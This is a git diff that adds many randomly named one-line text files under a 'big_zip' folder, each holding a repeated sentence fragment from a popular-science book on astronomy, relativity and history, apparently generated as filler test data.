diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_cipogirqkkoomkqvqioxmm.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_cipogirqkkoomkqvqioxmm.txt
new file mode 100644
index 0000000..842ccf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_cipogirqkkoomkqvqioxmm.txt
@@ -0,0 +1 @@
+framework. This is what the word relativity means. The idea is very simple, despite its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_dnmtdwfi.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_dnmtdwfi.txt
new file mode 100644
index 0000000..842ccf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_dnmtdwfi.txt
@@ -0,0 +1 @@
+framework. This is what the word relativity means. The idea is very simple, despite its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_erpsyqvlqmaaraqnjjzjyq.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_erpsyqvlqmaaraqnjjzjyq.txt
new file mode 100644
index 0000000..842ccf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_erpsyqvlqmaaraqnjjzjyq.txt
@@ -0,0 +1 @@
+framework. This is what the word relativity means. The idea is very simple, despite its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_mjbacpirdyg.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_mjbacpirdyg.txt
new file mode 100644
index 0000000..842ccf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_mjbacpirdyg.txt
@@ -0,0 +1 @@
+framework. This is what the word relativity means. The idea is very simple, despite its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_orspvapovzoejlwd.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_orspvapovzoejlwd.txt
new file mode 100644
index 0000000..842ccf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_orspvapovzoejlwd.txt
@@ -0,0 +1 @@
+framework. This is what the word relativity means. The idea is very simple, despite its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_xqsekaxlcx.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_xqsekaxlcx.txt
new file mode 100644
index 0000000..842ccf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_xqsekaxlcx.txt
@@ -0,0 +1 @@
+framework. This is what the word relativity means. The idea is very simple, despite its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_zwffyespyuz.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_zwffyespyuz.txt
new file mode 100644
index 0000000..842ccf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/file_zwffyespyuz.txt
@@ -0,0 +1 @@
+framework. This is what the word relativity means. The idea is very simple, despite its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/duaoebjygdelo.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/duaoebjygdelo.txt
new file mode 100644
index 0000000..e325017
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/duaoebjygdelo.txt
@@ -0,0 +1 @@
+discussed in the late nineteenth century as a means of transportation to the planets by the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/eefdpdsxjt.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/eefdpdsxjt.txt
new file mode 100644
index 0000000..a3bd6fb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/eefdpdsxjt.txt
@@ -0,0 +1 @@
+because of Venus’s proximity to the Sun. The surface environment of Venus is a warning:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_airciiivrroxvnjilkwkz.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_airciiivrroxvnjilkwkz.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_airciiivrroxvnjilkwkz.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_brdpftkniuunl.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_brdpftkniuunl.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_brdpftkniuunl.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_bshyipgailrruhaxpqlac.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_bshyipgailrruhaxpqlac.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_bshyipgailrruhaxpqlac.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_eghyadjpkusdxfyglfc.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_eghyadjpkusdxfyglfc.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_eghyadjpkusdxfyglfc.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_gixgmhjnpoinoqbqcgzx.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_gixgmhjnpoinoqbqcgzx.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_gixgmhjnpoinoqbqcgzx.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_hhazhfmrwuzntfqmemnbfhw.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_hhazhfmrwuzntfqmemnbfhw.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_hhazhfmrwuzntfqmemnbfhw.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_hvpnpbpoeloza.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_hvpnpbpoeloza.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_hvpnpbpoeloza.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_mhpzyzygwzifsdafhhw.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_mhpzyzygwzifsdafhhw.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_mhpzyzygwzifsdafhhw.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_nqqnjicjb.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_nqqnjicjb.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_nqqnjicjb.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_nxppdgvfkqh.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_nxppdgvfkqh.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_nxppdgvfkqh.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_orpomlrtmqayteksod.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_orpomlrtmqayteksod.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_orpomlrtmqayteksod.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_pgjirxotzjurhfesdwyh.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_pgjirxotzjurhfesdwyh.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_pgjirxotzjurhfesdwyh.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_qpojhrjyhwye.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_qpojhrjyhwye.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_qpojhrjyhwye.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_qwcuytgxmhjogzmvvpct.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_qwcuytgxmhjogzmvvpct.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_qwcuytgxmhjogzmvvpct.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_wrdaalxkskvhxbygz.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_wrdaalxkskvhxbygz.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_wrdaalxkskvhxbygz.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_ypztideceealmskueeyvog.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_ypztideceealmskueeyvog.txt
new file mode 100644
index 0000000..21c921b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/file_ypztideceealmskueeyvog.txt
@@ -0,0 +1 @@
+were aiming warheads at over 15,000 designated targets. No place on the planet was safe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/fkcgvmhbvrlw.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/fkcgvmhbvrlw.txt
new file mode 100644
index 0000000..ea5c6d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/fkcgvmhbvrlw.txt
@@ -0,0 +1 @@
+calculations, as the examining faculty of the University of Salamanca quite correctly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/gwufghxblpquivrvjzd.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/gwufghxblpquivrvjzd.txt
new file mode 100644
index 0000000..29bce64
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/gwufghxblpquivrvjzd.txt
@@ -0,0 +1 @@
+our form and much of our character is determined by the deep connection between life and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/hpsvyvybaetjvqkxzlzpxt.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/hpsvyvybaetjvqkxzlzpxt.txt
new file mode 100644
index 0000000..96975f9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/hpsvyvybaetjvqkxzlzpxt.txt
@@ -0,0 +1 @@
+nominal leader of a clan of samurai called the Heike, who were engaged in a long and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ibtagpzohxuawlujugggkoli.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ibtagpzohxuawlujugggkoli.txt
new file mode 100644
index 0000000..9ea396f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ibtagpzohxuawlujugggkoli.txt
@@ -0,0 +1 @@
+with fair accuracy how many solar neutrinos we should receive in a given area - such as my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/iddorfavkpj.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/iddorfavkpj.txt
new file mode 100644
index 0000000..d14a49d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/iddorfavkpj.txt
@@ -0,0 +1 @@
+All welfare and adversity that come to man and other creatures come through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/iphdmdijhbrxjdd.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/iphdmdijhbrxjdd.txt
new file mode 100644
index 0000000..9362006
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/iphdmdijhbrxjdd.txt
@@ -0,0 +1 @@
+of that life must, I think, supersede any other possible use of Mars. However, suppose Mars
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/kwjncfdgdkzoybrxgmifi.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/kwjncfdgdkzoybrxgmifi.txt
new file mode 100644
index 0000000..e65126f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/kwjncfdgdkzoybrxgmifi.txt
@@ -0,0 +1 @@
+sequence of stellar nucleosynthetic events, including the timing of nearby supernova
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/lfodcwdbiv.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/lfodcwdbiv.txt
new file mode 100644
index 0000000..c020d9d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/lfodcwdbiv.txt
@@ -0,0 +1 @@
+constellations and estimated the brightness of the stars; Euclid, who brilliantly systematized
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/lkiukahrghpiwaopl.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/lkiukahrghpiwaopl.txt
new file mode 100644
index 0000000..d4f2856
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/lkiukahrghpiwaopl.txt
@@ -0,0 +1 @@
+for getting the other cellular jobs done. But the enzymes do not run the show. They receive
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ngdtkjvmshqmxoygijo.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ngdtkjvmshqmxoygijo.txt
new file mode 100644
index 0000000..562c94c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ngdtkjvmshqmxoygijo.txt
@@ -0,0 +1 @@
+at us - except for them it seems up - and say that we are in their sky, and wonder why we do
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/nrtphkzltvdahll.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/nrtphkzltvdahll.txt
new file mode 100644
index 0000000..aefd060
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/nrtphkzltvdahll.txt
@@ -0,0 +1 @@
+So in this case r can equal 3, 4, or 5 only. (If E were 6 or more, the equation would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ohxuorimduqbq.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ohxuorimduqbq.txt
new file mode 100644
index 0000000..9e5b519
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ohxuorimduqbq.txt
@@ -0,0 +1 @@
+studied the motions of the planets and asked themselves what had happened the last time
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/pgynnetmppxikoxdetvsjue.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/pgynnetmppxikoxdetvsjue.txt
new file mode 100644
index 0000000..985330b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/pgynnetmppxikoxdetvsjue.txt
@@ -0,0 +1 @@
+I am a collection of water, calcium and organic molecules called Carl Sagan. You
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/pvfteviae.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/pvfteviae.txt
new file mode 100644
index 0000000..6aa49ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/pvfteviae.txt
@@ -0,0 +1 @@
+be anemic than to be dead. This major influence on the function of the blood - so striking as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/rdgbonyycnoyv.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/rdgbonyycnoyv.txt
new file mode 100644
index 0000000..b2fd910
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/rdgbonyycnoyv.txt
@@ -0,0 +1 @@
+old; it invented paper and printing, rockets, clocks, silk, porcelain, and ocean-going navies.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/rssjusfvynqfurmwpafvwigx.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/rssjusfvynqfurmwpafvwigx.txt
new file mode 100644
index 0000000..e283145
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/rssjusfvynqfurmwpafvwigx.txt
@@ -0,0 +1 @@
+close up, that they may be very different one from another. When we do look closely,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/rumlgebhowr.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/rumlgebhowr.txt
new file mode 100644
index 0000000..9572e0a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/rumlgebhowr.txt
@@ -0,0 +1 @@
+stockpile enormous quantities of information outside our bodies. We are the only species
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ucpudbvew.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ucpudbvew.txt
new file mode 100644
index 0000000..7463193
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/ucpudbvew.txt
@@ -0,0 +1 @@
+smaller still, why does the table hold me up? Why, as Arthur Eddington liked to ask, do the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/xsararsnftmk.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/xsararsnftmk.txt
new file mode 100644
index 0000000..c6a1047
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/xsararsnftmk.txt
@@ -0,0 +1 @@
+was rigidly organized before launch. Every step it was to perform was loaded into the on-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/xujsnkxiapjkhtvfkjooz.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/xujsnkxiapjkhtvfkjooz.txt
new file mode 100644
index 0000000..8a8f9dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/xujsnkxiapjkhtvfkjooz.txt
@@ -0,0 +1 @@
+who preceded us, about whom we know almost nothing, upon whom our civilization is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/yjyttfbwensrfm.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/yjyttfbwensrfm.txt
new file mode 100644
index 0000000..b7ecd21
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/yjyttfbwensrfm.txt
@@ -0,0 +1 @@
+Sun. Jupiter, for example, is five astronomical units from the Sun, and a 3 = 5 x 5 x 5 =125.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/zfclhrzhxaeylypuvbnowcl.txt b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/zfclhrzhxaeylypuvbnowcl.txt
new file mode 100644
index 0000000..e761339
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qxwkxseuqs/folder_wbflxyhvkd/folder_xespkqugww/zfclhrzhxaeylypuvbnowcl.txt
@@ -0,0 +1 @@
+carbon and a nitrogen atom, the molecular fragment that makes cyanides, was identified in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_ajmtyoshzergbv.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_ajmtyoshzergbv.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_ajmtyoshzergbv.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_byoziipgxhtdjkbdrhhadedw.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_byoziipgxhtdjkbdrhhadedw.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_byoziipgxhtdjkbdrhhadedw.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_dhvusisypjbyyfzyvficsw.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_dhvusisypjbyyfzyvficsw.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_dhvusisypjbyyfzyvficsw.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_dqvqvplmmtpcfafvmuv.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_dqvqvplmmtpcfafvmuv.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_dqvqvplmmtpcfafvmuv.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_fxfflbhidvpjg.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_fxfflbhidvpjg.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_fxfflbhidvpjg.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_gxqayokcam.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_gxqayokcam.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_gxqayokcam.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_idwmgyjizxblnqz.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_idwmgyjizxblnqz.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_idwmgyjizxblnqz.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
